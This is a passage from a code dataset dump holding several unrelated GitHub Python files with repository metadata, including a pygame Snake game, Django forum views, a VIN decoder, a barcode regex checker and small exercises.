index_column, columns=None, where=None, log=None):\n # Get all the column names\n all_column_names = _get_column_names(cur, name, log)\n\n # Sanity checks\n if index_column not in all_column_names:\n raise Exception(\"Index column \\\"{index}\\\" is not in table \\\"{table}\\\"\"\n .format(index=index_column, table=name))\n\n if columns:\n for col in columns:\n if col not in all_column_names:\n raise Exception(\"Column \\\"{col}\\\" not in table \\\"{table}\\\"\"\n .format(col=col, table=name))\n\n # Which columns do we want?\n if not columns:\n columns = all_column_names\n\n # Make sure that the index column is first\n # First, remove it if it's in the list already\n try:\n columns.remove(index_column)\n except:\n pass\n # Now put it back as the first item\n columns.insert(0, index_column)\n\n # Form the query string\n query = \"SELECT \"\n if columns:\n query += ','.join(columns)\n query += ' '\n query += \"FROM {table} \".format(table=name)\n if where:\n query += 'WHERE {where}'.format(where=where)\n\n if log:\n log.debug(\"SQL: {query}\".format(query=query))\n\n # Run the query\n table = dict()\n results = cur.execute(query)\n for result in results.fetchall():\n row = dict()\n for i, col in enumerate(columns):\n row[col] = result[i]\n\n # We know that the 0th item is the index column\n table[result[0]] = row\n\n return table\n","repo_name":"epiphany40223/epiphany","sub_path":"python/PDS.py","file_name":"PDS.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"41820316662","text":"def findOperations(inputString):\n length = len(inputString)\n if(length == 2):\n return abs(ord(inputString[0]) - ord(inputString[1]))\n if(length == 1):\n return 0\n\n lengthhalf = length//2 if length % 2 == 0 else length//2 + 1\n total = 0\n for x in range(lengthhalf):\n diff = abs(ord(inputString[x]) - ord(inputString[length - x - 1]))\n total += diff\n\n return total\n\nnoofinput = list(map(int, input().split()))\n\noutputs = []\n\nfor x in range(noofinput[0]):\n inputStr = input()\n outputs.append(findOperations(inputStr))\n\nfor x in outputs:\n print (x)\n","repo_name":"cosmosgenius/python_snippets","sub_path":"opsReqToMakeAPalindrome.py","file_name":"opsReqToMakeAPalindrome.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9376398817","text":"import pygame\r\nimport sys\r\nimport random\r\nfrom pygame.math import Vector2\r\nimport os\r\n\r\nclass Food():\r\n def __init__(self):\r\n self.x = random.randint(0, cell_num - 1)\r\n self.y = random.randint(0, cell_num - 1)\r\n self.pos = Vector2(self.x, self.y)\r\n\r\n def draw_food(self):\r\n food_rect = pygame.Rect(self.pos.x * cell_size, self.pos.y * cell_size, cell_size, cell_size)\r\n screen.blit(apple, food_rect)\r\n\r\nclass Snake():\r\n def __init__(self):\r\n self.body = [Vector2(5, 10)]\r\n self.direction = Vector2(1, 0)\r\n self.body_components = {}\r\n for img in os.listdir('Graphics\\\\Snake'):\r\n self.body_components[img] = pygame.image.load('Graphics\\\\Snake' + '\\\\' + img).convert_alpha()\r\n self.body_components[img] = pygame.transform.scale(self.body_components[img] , (cell_size, cell_size))\r\n self.crunch_sound = pygame.mixer.Sound('Sound\\\\Sound_crunch.wav')\r\n\r\n def get_tail_dir(self):\r\n if self.body[-1] + Vector2(0, -1) == self.body[-2]:\r\n return 'down'\r\n if self.body[-1] + Vector2(1, 0) == self.body[-2]:\r\n return 'left'\r\n if self.body[-1] + Vector2(0, 1) == self.body[-2]:\r\n return 'up'\r\n return 'right'\r\n\r\n def draw_snake(self):\r\n for index, cell in enumerate(self.body):\r\n cell_rect = pygame.Rect(cell.x * cell_size, cell.y * cell_size, cell_size, cell_size)\r\n if index == 0:\r\n if self.direction == Vector2(0, -1):\r\n screen.blit(self.body_components['head_up.png'], cell_rect)\r\n elif self.direction == Vector2(1, 0):\r\n screen.blit(self.body_components['head_right.png'], cell_rect)\r\n elif self.direction == Vector2(0, 1):\r\n screen.blit(self.body_components['head_down.png'], cell_rect)\r\n elif self.direction == Vector2(-1, 0):\r\n screen.blit(self.body_components['head_left.png'], cell_rect)\r\n elif index == len(self.body) - 1:\r\n screen.blit(self.body_components[f'tail_{self.get_tail_dir()}.png'], cell_rect)\r\n else:\r\n if self.body[index + 1] + Vector2(2, 0) == self.body[index - 1] or self.body[index + 1] - Vector2(2, 0) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_horizontal.png'], cell_rect)\r\n elif self.body[index + 1] + Vector2(0, 2) == self.body[index - 1] or self.body[index + 1] - Vector2(0, 2) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_vertical.png'], cell_rect)\r\n elif self.body[index] + Vector2(0, -1) == self.body[index + 1] and self.body[index] + Vector2(1, 0) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_tr.png'], cell_rect)\r\n elif self.body[index] + Vector2(1, 0) == self.body[index + 1] and self.body[index] + Vector2(0, -1) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_tr.png'], cell_rect)\r\n elif self.body[index] + Vector2(-1, 0) == self.body[index + 1] and self.body[index] + Vector2(0, -1) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_tl.png'], cell_rect)\r\n elif self.body[index] + Vector2(0, -1) == self.body[index + 1] and self.body[index] + Vector2(-1, 0) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_tl.png'], cell_rect)\r\n elif self.body[index] + Vector2(-1, 0) == self.body[index + 1] and self.body[index] + Vector2(0, 1) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_bl.png'], cell_rect)\r\n elif self.body[index] + Vector2(0, 1) == self.body[index + 1] and self.body[index] + Vector2(-1, 0) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_bl.png'], cell_rect)\r\n elif self.body[index] + Vector2(0, 1) == self.body[index + 1] and self.body[index] + Vector2(1, 0) == self.body[index - 1]:\r\n screen.blit(self.body_components['body_br.png'], cell_rect)\r\n else:\r\n screen.blit(self.body_components['body_br.png'], cell_rect)\r\n\r\n def move_snake(self):\r\n body_copy = self.body[:-1]\r\n body_copy.insert(0, self.body[0] + self.direction)\r\n self.body = body_copy\r\n \r\n def add_cell(self):\r\n self.body.append(self.body[-1])\r\n \r\n def play_crunch_sound(self):\r\n self.crunch_sound.play()\r\n\r\nclass Game():\r\n def __init__(self):\r\n self.snake = Snake()\r\n self.food = Food()\r\n while self.food.pos in self.snake.body:\r\n self.food = Food() \r\n self.dark_grass = pygame.image.load('Graphics\\\\Grass\\\\dark_grass.jpg').convert_alpha()\r\n self.dark_grass = pygame.transform.scale(self.dark_grass, (cell_size, cell_size))\r\n self.light_grass = pygame.image.load('Graphics\\\\Grass\\\\light_grass.jpg').convert_alpha()\r\n self.light_grass = pygame.transform.scale(self.light_grass, (cell_size, cell_size))\r\n self.game_on = False\r\n \r\n def update(self):\r\n self.snake.move_snake()\r\n self.check_eaten()\r\n self.check_collision()\r\n\r\n def draw_elements(self):\r\n self.draw_grass()\r\n self.food.draw_food()\r\n self.snake.draw_snake()\r\n self.draw_score()\r\n \r\n def check_eaten(self):\r\n if self.food.pos == self.snake.body[0]:\r\n self.snake.add_cell()\r\n self.snake.play_crunch_sound()\r\n self.food = Food()\r\n while self.food.pos in self.snake.body:\r\n self.food = Food() \r\n \r\n def check_collision(self):\r\n if (self.snake.body[0] in self.snake.body[1:] and len(self.snake.body) > 2) or (not 0 <= self.snake.body[0].x < cell_num) or (not 0 <= self.snake.body[0].y < cell_num):\r\n self.game_over()\r\n\r\n def game_over(self):\r\n f = open('Highscore.txt', mode = 'r')\r\n highscore = int(f.read())\r\n f.close()\r\n if len(self.snake.body) > highscore:\r\n highscore = len(self.snake.body)\r\n f = open('Highscore.txt', mode = 'w')\r\n f.write(str(highscore))\r\n f.close()\r\n self.game_on = False\r\n self.snake = Snake()\r\n self.food = Food()\r\n while self.food.pos in self.snake.body:\r\n self.food = Food() \r\n\r\n def draw_grass(self):\r\n for col in range(cell_num):\r\n for row in range(cell_num):\r\n grass_rect = pygame.Rect(col * cell_size, row * cell_size, cell_size, cell_size)\r\n if (col + row) % 2:\r\n screen.blit(self.dark_grass, grass_rect)\r\n else:\r\n screen.blit(self.light_grass, grass_rect)\r\n\r\n def draw_score(self):\r\n score_text = str(len(self.snake.body))\r\n score_surface = game_font.render(score_text, True, (56, 74, 12))\r\n score_x = cell_size * cell_num - 40\r\n score_y = cell_size * cell_num - 40\r\n score_rect = score_surface.get_rect(center = (score_x, score_y))\r\n apple_rect = apple.get_rect(midright = (score_rect.left, score_rect.centery))\r\n bg_rect = pygame.Rect(apple_rect.left, score_rect.top, apple_rect.width + score_rect.width + 10, score_rect.height)\r\n\r\n pygame.draw.rect(screen, (167, 209, 61), bg_rect)\r\n screen.blit(score_surface, score_rect) \r\n screen.blit(apple, apple_rect)\r\n pygame.draw.rect(screen, (56, 74, 12), bg_rect, 2)\r\n\r\n f = open('Highscore.txt', mode = \"r\")\r\n content = f.read()\r\n f.close()\r\n text = 'HIGH ' + content\r\n highscore_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 25)\r\n highscore_surface = highscore_font.render(text, True, (50, 0, 0))\r\n highscore_x = 10\r\n highscore_y = cell_size * cell_num - 10\r\n highscore_rect = highscore_surface.get_rect(bottomleft = (highscore_x, highscore_y))\r\n screen.blit(highscore_surface, highscore_rect)\r\n\r\n\r\nclass Pause():\r\n def __init__(self):\r\n self.text = 'PAUSE'\r\n self.pause_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 15)\r\n self.pause_surface = self.pause_font.render(self.text, True, (56, 74, 12))\r\n self.pause_x = cell_num * cell_size - 45\r\n self.pause_y = 20\r\n self.pause_rect = self.pause_surface.get_rect(center = (self.pause_x, self.pause_y))\r\n \r\n def check_touch(self, x, y):\r\n if self.pause_rect.left <= x <= self.pause_rect.right and self.pause_rect.top <= y <= self.pause_rect.bottom:\r\n return True\r\n return False\r\n\r\n def draw_button(self, touch):\r\n if touch:\r\n color = (167, 70, 61)\r\n else:\r\n color = (167, 209, 61)\r\n pygame.draw.rect(screen, color, self.pause_rect)\r\n screen.blit(self.pause_surface, self.pause_rect)\r\n pygame.draw.rect(screen, (56, 74, 12), self.pause_rect, 2)\r\n\r\nclass Mute():\r\n def __init__(self):\r\n self.text = 'MUTE'\r\n self.mute_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 15)\r\n self.mute_surface = self.mute_font.render(self.text, True, (56, 74, 12))\r\n self.mute_x = 10\r\n self.mute_y = 10\r\n self.mute_rect = self.mute_surface.get_rect(topleft = (self.mute_x, self.mute_y))\r\n \r\n def check_touch(self, x, y):\r\n if self.mute_rect.left <= x <= self.mute_rect.right and self.mute_rect.top <= y <= self.mute_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n color = (167, 70, 61)\r\n else:\r\n color = (167, 209, 61)\r\n pygame.draw.rect(screen, color, self.mute_rect)\r\n screen.blit(self.mute_surface, self.mute_rect)\r\n pygame.draw.rect(screen, (56, 74, 12), self.mute_rect, 2)\r\n\r\nclass Resume():\r\n def __init__(self):\r\n self.text = 'RESUME'\r\n self.resume_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 50)\r\n self.resume_surface = self.resume_font.render(self.text, True, (100, 20, 80))\r\n self.resume_x = 300\r\n self.resume_y = 300\r\n self.resume_rect = self.resume_surface.get_rect(center = (self.resume_x, self.resume_y))\r\n\r\n def check_touch(self, x, y):\r\n if self.resume_rect.left <= x <= self.resume_rect.right and self.resume_rect.top <= y <= self.resume_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n self.resume_surface = self.resume_font.render(self.text, True, (200, 200, 180))\r\n else:\r\n self.resume_surface = self.resume_font.render(self.text, True, (100, 20, 80))\r\n screen.blit(self.resume_surface, self.resume_rect)\r\n\r\nclass Start():\r\n def __init__(self):\r\n self.text = 'GO!'\r\n self.start_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 30)\r\n self.start_surface = self.start_font.render(self.text, True, (100, 20, 80))\r\n self.start_x = 300\r\n self.start_y = 150\r\n self.start_rect = self.start_surface.get_rect(center = (self.start_x, self.start_y))\r\n\r\n def check_touch(self, x, y):\r\n if self.start_rect.left <= x <= self.start_rect.right and self.start_rect.top <= y <= self.start_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n self.start_surface = self.start_font.render(self.text, True, (200, 200, 180))\r\n else:\r\n self.start_surface = self.start_font.render(self.text, True, (100, 20, 80))\r\n screen.blit(self.start_surface, self.start_rect)\r\n\r\nclass Music():\r\n def __init__(self):\r\n self.text = 'MUSIC'\r\n self.music_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 30)\r\n self.music_surface = self.music_font.render(self.text, True, (100, 20, 80))\r\n self.music_x = 300\r\n self.music_y = 225\r\n self.music_rect = self.music_surface.get_rect(center = (self.music_x, self.music_y))\r\n\r\n def check_touch(self, x, y):\r\n if self.music_rect.left <= x <= self.music_rect.right and self.music_rect.top <= y <= self.music_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n self.music_surface = self.music_font.render(self.text, True, (200, 200, 180))\r\n else:\r\n self.music_surface = self.music_font.render(self.text, True, (100, 20, 80))\r\n screen.blit(self.music_surface, self.music_rect)\r\n\r\nclass Song():\r\n def __init__(self, song_name, x):\r\n song_name = song_name.upper()\r\n self.text = song_name[0:len(song_name) - 4]\r\n self.song_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 15)\r\n self.song_surface = self.song_font.render(self.text, True, (100, 20, 80))\r\n self.song_x = 300\r\n self.song_y = 150 + 50 * x\r\n self.song_rect = self.song_surface.get_rect(center = (self.song_x, self.song_y))\r\n\r\n def check_touch(self, x, y):\r\n if self.song_rect.left <= x <= self.song_rect.right and self.song_rect.top <= y <= self.song_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n self.song_surface = self.song_font.render(self.text, True, (200, 200, 180))\r\n else:\r\n self.song_surface = self.song_font.render(self.text, True, (100, 20, 80))\r\n screen.blit(self.song_surface, self.song_rect)\r\n\r\nclass Back():\r\n def __init__(self):\r\n self.text = 'GO BACK'\r\n self.back_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 30)\r\n self.back_surface = self.back_font.render(self.text, True, (100, 20, 80))\r\n self.back_x = 300\r\n self.back_y = 500\r\n self.back_rect = self.back_surface.get_rect(center = (self.back_x, self.back_y))\r\n\r\n def check_touch(self, x, y):\r\n if self.back_rect.left <= x <= self.back_rect.right and self.back_rect.top <= y <= self.back_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n self.back_surface = self.back_font.render(self.text, True, (200, 200, 180))\r\n else:\r\n self.back_surface = self.back_font.render(self.text, True, (100, 20, 80))\r\n screen.blit(self.back_surface, self.back_rect)\r\n\r\nclass Quit():\r\n def __init__(self):\r\n self.text = 'QUIT'\r\n self.quit_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 30)\r\n self.quit_surface = self.quit_font.render(self.text, True, (100, 20, 80))\r\n self.quit_x = 300\r\n self.quit_y = 300\r\n self.quit_rect = self.quit_surface.get_rect(center = (self.quit_x, self.quit_y))\r\n\r\n def check_touch(self, x, y):\r\n if self.quit_rect.left <= x <= self.quit_rect.right and self.quit_rect.top <= y <= self.quit_rect.bottom:\r\n return True\r\n return False\r\n \r\n def draw_button(self, touch):\r\n if touch:\r\n self.quit_surface = self.quit_font.render(self.text, True, (200, 200, 180))\r\n else:\r\n self.quit_surface = self.quit_font.render(self.text, True, (100, 20, 80))\r\n screen.blit(self.quit_surface, self.quit_rect) \r\n \r\n\r\ncell_size = 30\r\ncell_num = 20\r\n\r\npygame.mixer.pre_init(44100, -16, 2, 512)\r\npygame.init()\r\nscreen = pygame.display.set_mode((cell_size * cell_num, cell_size * cell_num))\r\nclock = pygame.time.Clock()\r\n\r\npygame.mixer.music.load('Music\\\\punch deck brazilian street fight.mp3')\r\npygame.mixer.music.play(-1)\r\n\r\napple = pygame.image.load('Graphics\\\\Apple\\\\apple.png').convert_alpha()\r\napple = pygame.transform.scale(apple, (cell_size, cell_size))\r\n\r\ngame_font = pygame.font.Font('Font\\\\Shadow of the Deads.ttf', 25)\r\n\r\ngame_obj = Game()\r\npause_button = Pause()\r\nmute_button = Mute()\r\nresume_button = Resume()\r\nstart_button = Start()\r\nmusic_button = Music()\r\nback_button = Back()\r\nquit_button = Quit()\r\nplaylist = []\r\nfor index, songfile in enumerate(os.listdir('Music')):\r\n playlist.append(Song(songfile, index))\r\n\r\nSCREEN_UPDATE = pygame.USEREVENT\r\npygame.time.set_timer(SCREEN_UPDATE, 150)\r\n\r\ngame_pause = True\r\ngame_mute = False\r\nmusic_button_pressed = False\r\n\r\nwhile True:\r\n chosen_song = -1\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n if game_obj.game_on:\r\n if event.type == SCREEN_UPDATE and game_pause == False:\r\n game_obj.update()\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_UP and game_obj.snake.direction != Vector2(0, 1):\r\n game_obj.snake.direction = Vector2(0, -1) \r\n game_pause = False\r\n if event.key == pygame.K_RIGHT and game_obj.snake.direction != Vector2(-1, 0):\r\n game_obj.snake.direction = Vector2(1, 0)\r\n game_pause = False\r\n if event.key == pygame.K_DOWN and game_obj.snake.direction != Vector2(0, -1):\r\n game_obj.snake.direction = Vector2(0, 1)\r\n game_pause = False\r\n if event.key == pygame.K_LEFT and game_obj.snake.direction != Vector2(1, 0):\r\n game_obj.snake.direction = Vector2(-1, 0)\r\n game_pause = False\r\n if event.key == pygame.K_p:\r\n game_pause = not game_pause\r\n if event.key == pygame.K_m:\r\n game_mute = not game_mute\r\n if game_mute:\r\n pygame.mixer.music.pause()\r\n else:\r\n pygame.mixer.music.unpause()\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n if pause_button.check_touch(mouse[0], mouse[1]):\r\n game_pause = not game_pause\r\n if resume_button.check_touch(mouse[0], mouse[1]):\r\n game_pause = False\r\n if mute_button.check_touch(mouse[0], mouse[1]):\r\n game_mute = not game_mute\r\n if game_mute:\r\n pygame.mixer.music.pause()\r\n else:\r\n pygame.mixer.music.unpause()\r\n else:\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n if not music_button_pressed:\r\n if start_button.check_touch(mouse[0], mouse[1]):\r\n game_obj.game_on = True\r\n game_pause = False\r\n if mute_button.check_touch(mouse[0], mouse[1]):\r\n game_mute = not game_mute\r\n if game_mute:\r\n pygame.mixer.music.pause()\r\n else:\r\n pygame.mixer.music.unpause()\r\n if music_button.check_touch(mouse[0], mouse[1]):\r\n music_button_pressed = True \r\n if quit_button.check_touch(mouse[0], mouse[1]):\r\n pygame.quit()\r\n sys.exit()\r\n else:\r\n for index, song_button in enumerate(playlist): \r\n if song_button.check_touch(mouse[0], mouse[1]):\r\n chosen_song = index\r\n break\r\n if back_button.check_touch(mouse[0], mouse[1]):\r\n music_button_pressed = False\r\n \r\n if music_button_pressed and chosen_song != -1:\r\n pygame.mixer.music.unload()\r\n pygame.mixer.music.load('Music\\\\' + os.listdir('Music')[index])\r\n pygame.mixer.music.play(-1)\r\n\r\n mouse = pygame.mouse.get_pos()\r\n screen.fill((175, 215, 70))\r\n game_obj.draw_elements()\r\n pause_button.draw_button(pause_button.check_touch(mouse[0], mouse[1]))\r\n mute_button.draw_button(mute_button.check_touch(mouse[0], mouse[1]))\r\n if game_pause and game_obj.game_on:\r\n resume_button.draw_button(resume_button.check_touch(mouse[0], mouse[1]))\r\n elif not game_obj.game_on:\r\n if not music_button_pressed:\r\n start_button.draw_button(start_button.check_touch(mouse[0], mouse[1]))\r\n music_button.draw_button(music_button.check_touch(mouse[0], mouse[1]))\r\n quit_button.draw_button(quit_button.check_touch(mouse[0], mouse[1]))\r\n else:\r\n back_button.draw_button(back_button.check_touch(mouse[0], mouse[1]))\r\n for song_button in playlist:\r\n song_button.draw_button(song_button.check_touch(mouse[0], mouse[1]))\r\n pygame.display.update()\r\n clock.tick(60)","repo_name":"screwysnake/SnakeGame","sub_path":"Snake/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":20893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"6237647809","text":"from dash.dependencies import Input, Output, State\n\nfrom app import app\nfrom components.tools_control import render_menu_items\nfrom components.tools import analitic_tools\nfrom components.data_table import data_table_niche\n\n\n@app.callback(Output(\"tools_menu\", \"children\"),\n Output(\"tools_menu\", \"value\"),\n Input(\"tools_menu_selector\", \"value\"),\n State(\"tools_menu\", \"value\"))\ndef change_tools_menu_select(key, value):\n return render_menu_items(key, value)\n\n\n@app.callback(Output(\"tool_widget\", \"children\"),\n Input(\"tools_menu\", \"value\"))\ndef change_tools_menu_item(value):\n if value == \"analytics\":\n return analitic_tools\n\n\n@app.callback(Output(\"content_view\", \"children\"),\n Input(\"content_control\", \"value\"))\ndef change_content(value):\n if value == \"niche\":\n return data_table_niche\n\n\napp.clientside_callback(\n \"\"\"\n function(open, close, is_open) {\n if (open || close) return !is_open;\n return is_open;\n }\n \"\"\",\n Output(\"change_category_modal\", \"is_open\"),\n Input(\"change_category_btn\", \"n_clicks\"),\n Input(\"change_category_modal_close\", \"n_clicks\"),\n State(\"change_category_modal\", \"is_open\"),\n)\n","repo_name":"boorav4ik/dash-test-app","sub_path":"app/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"24253457271","text":"# A Pulsator is a Black_Hole; it updates as a Black_Hole\r\n# does, but also by growing/shrinking depending on\r\n# whether or not it eats Prey (and removing itself from\r\n# the simulation if its dimension becomes 0), and displays\r\n# as a Black_Hole but with varying dimensions \r\n\r\n\r\nfrom blackhole import Black_Hole\r\n\r\n\r\nclass Pulsator(Black_Hole): \r\n #Class variable 'class_counter'\r\n class_counter = 30\r\n \r\n def __init__(self, x, y):\r\n Black_Hole.__init__(self, x, y)\r\n #Self variable for specific object's counter\r\n self._counter = 0\r\n \r\n def update(self, model):\r\n #Get set of eaten preys from Black_Hole update method\r\n eatens = Black_Hole.update(self, model)\r\n #If set is empty increase counter, and shrink size if needed\r\n if eatens == set():\r\n self._counter += 1\r\n if self._counter >= self.class_counter:\r\n self._counter = 0\r\n self.change_dimension(-1, -1)\r\n #current_width, current_height = self.get_dimension()\r\n if self.get_dimension()[0] <= 0 and self.get_dimension()[1] <= 0:\r\n model.remove(self)\r\n #Otherwise increase in size based on how many things they ate\r\n else:\r\n x = len(eatens)\r\n self._counter = 0\r\n self.change_dimension(+x, +x)\r\n \r\n return eatens\r\n \r\n","repo_name":"chiangsa/PredatorPreySimulation","sub_path":"PredatorPreySimulation/pulsator.py","file_name":"pulsator.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"47560717479","text":"while 1:\n num = int(input('Digite um número para obter a tabuada: [n° negativo para encerrar]\\n'))\n if num < 0:\n break\n i = 0\n while i < 11:\n print(f'{num} x {i} = {num * i}.')\n i += 1\n print('')\nprint('\\nPrograma Encerrado!')\n","repo_name":"FelipeABortolini/Exercicios_Python","sub_path":"Exercícios/067.py","file_name":"067.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"7576842701","text":"import re\n\npattern = r\"@#+[A-Z]([a-zA-Z0-9]){4,}[A-Z]@#+\"\n\ndigit_pattern = \"(\\d+)\"\n\nnumber_of_lines = int(input())\n\nfor line in range(number_of_lines):\n line = input()\n if re.match(pattern, line):\n if re.findall(digit_pattern, line):\n current_line = re.findall(digit_pattern, line)\n digit = \"\"\n for el in current_line:\n digit += el\n print(f\"Product group: {digit}\")\n else:\n print(f\"Product group: 00\")\n else:\n print(\"Invalid barcode\")\n","repo_name":"ivan-yosifov88/python_fundamentals","sub_path":"final_exam_preparation/fancy_barcodes.py","file_name":"fancy_barcodes.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"14694165670","text":"import requests\nimport json\n\nclass Vin():\n VIN = None\n\n def _search(self):\n url = 'https://vpic.nhtsa.dot.gov/api//vehicles/DecodeVinValues/{}?format=json'.format(self.VIN)\n resp = requests.get(url)\n data = resp.json()\n return data['Results']\n\n def __init__(self, vin):\n self.VIN = vin\n data = self._search()\n for k, v in data[0].items():\n if v == '':\n v = None\n setattr(self, k, v)\n\n def __str__(self):\n return json.dumps(self, default=lambda o: o.__dict__, \n sort_keys=True, indent=4)","repo_name":"conrey-engineering/python_vin_decoder_nhtsa","sub_path":"src/vin_decoder_nhtsa/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"3599683172","text":"from django.shortcuts import render, redirect, get_object_or_404\n\nfrom django.http import HttpResponse\n\nfrom post.models import Topic, Reply\n\nfrom post.forms import TopicForm, ReplyForm\n\nfrom core.views import index\n\nfrom django.contrib.auth.decorators import login_required\n\n\n# Create your views here.\n@login_required\ndef newTopic(request):\n\n form = TopicForm(request.POST or None)\n if form.is_valid:\n form.save()\n sucess = True\n else:\n print(form.errors)\n\n return redirect('index')\n\n@login_required\ndef newReply(request):\n\n form = ReplyForm(request.POST or None)\n if form.is_valid:\n form.save()\n sucess = True\n else:\n print(form.errors)\n\n return redirect('index')\n\n # return HttpResponse(index(request,sucess))\n\nclass editTopicView(object):\n\n def __call__(self, request, id):\n\n topic = get_object_or_404(Topic, id=id)\n if request.method == 'POST':\n form = TopicForm(data=request.POST, instance=topic)\n if form.is_valid():\n form.save()\n return redirect('index')\n else:\n form = TopicForm(instance=topic)\n\n context = {\n 'form': form,\n }\n\n return render(request, 'post/edit-topic.html', context)\n\neditTopic = editTopicView()\n\nclass editReplyView(object):\n\n def __call__(self, request, id):\n\n reply = get_object_or_404(Reply, id=id)\n if request.method == 'POST':\n form = ReplyForm(data=request.POST, instance=reply)\n if form.is_valid():\n form.save()\n return redirect('index')\n else:\n form = ReplyForm(instance=reply)\n\n context = {\n 'form': form,\n }\n\n return render(request, 'post/edit-reply.html', context)\n\neditReply = editReplyView()\n\ndef deleteTopic(request, id):\n topic = Topic.objects.get(id=id).delete()\n return redirect('index')\n\ndef deleteReply(request, id):\n reply = Reply.objects.get(id=id).delete()\n return redirect('index')\n","repo_name":"igorwilliam/isCool","sub_path":"post/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"10096662546","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 1 13:46:19 2021\n\n@author: YOO\n\"\"\"\n\n# 라이브러리 불러오기\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Seaborn 제공 데이터셋 가져오기\ntitanic = sns.load_dataset('titanic')\n\n# 스타일 테마 설정(5가지: darkgrid, whitegrid, dark, white, ticks)\nsns.set_style('darkgrid')\n\n# 그래프 객체 생성(figure에 3개의 서브 플롯 생성)\nfig = plt.figure(figsize=(15, 5))\nax1 = fig.add_subplot(1, 3, 1)\nax2 = fig.add_subplot(1, 3, 2)\nax3 = fig.add_subplot(1, 3, 3)\n\n# distplot\nsns.distplot(titanic['fare'], ax=ax1)\n\n# kdeplot\nsns.kdeplot(x='fare', data=titanic, ax=ax2)\n\n# histplo\nsns.histplot(x='fare', data=titanic, ax=ax3)\n\n# 차트 제목 표시\nax1.set_title('titanic fare - hist/ked')\nax2.set_title('titanic fare - ked')\nax3.set_title('titanic fare - hist')\n\n# 피벗테이블로 범주형 변수를 각각 행, 열로 재구분하여 정리\ntable = titanic.pivot_table(index=['sex'], columns=['class'], aggfunc='size')\n\n# 히트맵 그리기\nsns.heatmap(table, # 데이터프레임\n annot=True, fmt='d', # 데이터 값 표시 여부, 정수형 포맷\n cmap='YlGnBu', # 컬러 맵\n linewidth=.5, # 구분 선\n cbar=False) # 컬러 바 표시 여부\n \n\nplt.show()\n\n","repo_name":"heradenk/python-pandas","sub_path":"04_pandas_visualize/04_27_seaborn_displot.py","file_name":"04_27_seaborn_displot.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4958353751","text":"from multiprocessing import Process, Manager\nimport csv\nimport json\nimport pandas as pd\nfrom datetime import datetime\nfrom selenium import webdriver\nfrom time import time, strftime, gmtime\nfrom tqdm import tqdm\nfrom scrapy.Wayfair_Scrapy import read_src\nfrom base import bot_push_text\n\n\ndef get_info(link, table1, soup):\n try:\n options = soup['props']['pageProps']['product']['options']\n for option in options:\n price = option['price']\n subsku = option['subSku']\n decription = option['decription']\n qtyonhand = option['qtyOnHand']\n output = [\n link, subsku, '-'.join([link[-8:], subsku]), decription, price, qtyonhand]\n # print(output)\n table1.append(output)\n except BaseException as e:\n # print(e)\n pass\n return table1\n\n\ndef mapping_sku(csv_priceout, csv_map):\n df_price = pd.read_csv(csv_priceout)\n df_map = pd.read_csv(csv_map)\n df_map = df_map.to_dict('list')\n df_map = dict(zip(df_map['OSSKU'], df_map['Partner SKU']))\n df_price['OSSKU'] = df_price['OSSKU'].str.strip()\n df_price['PartNumber'] = df_price['OSSKU'].map(df_map, na_action=None)\n df_price.to_csv(csv_priceout, 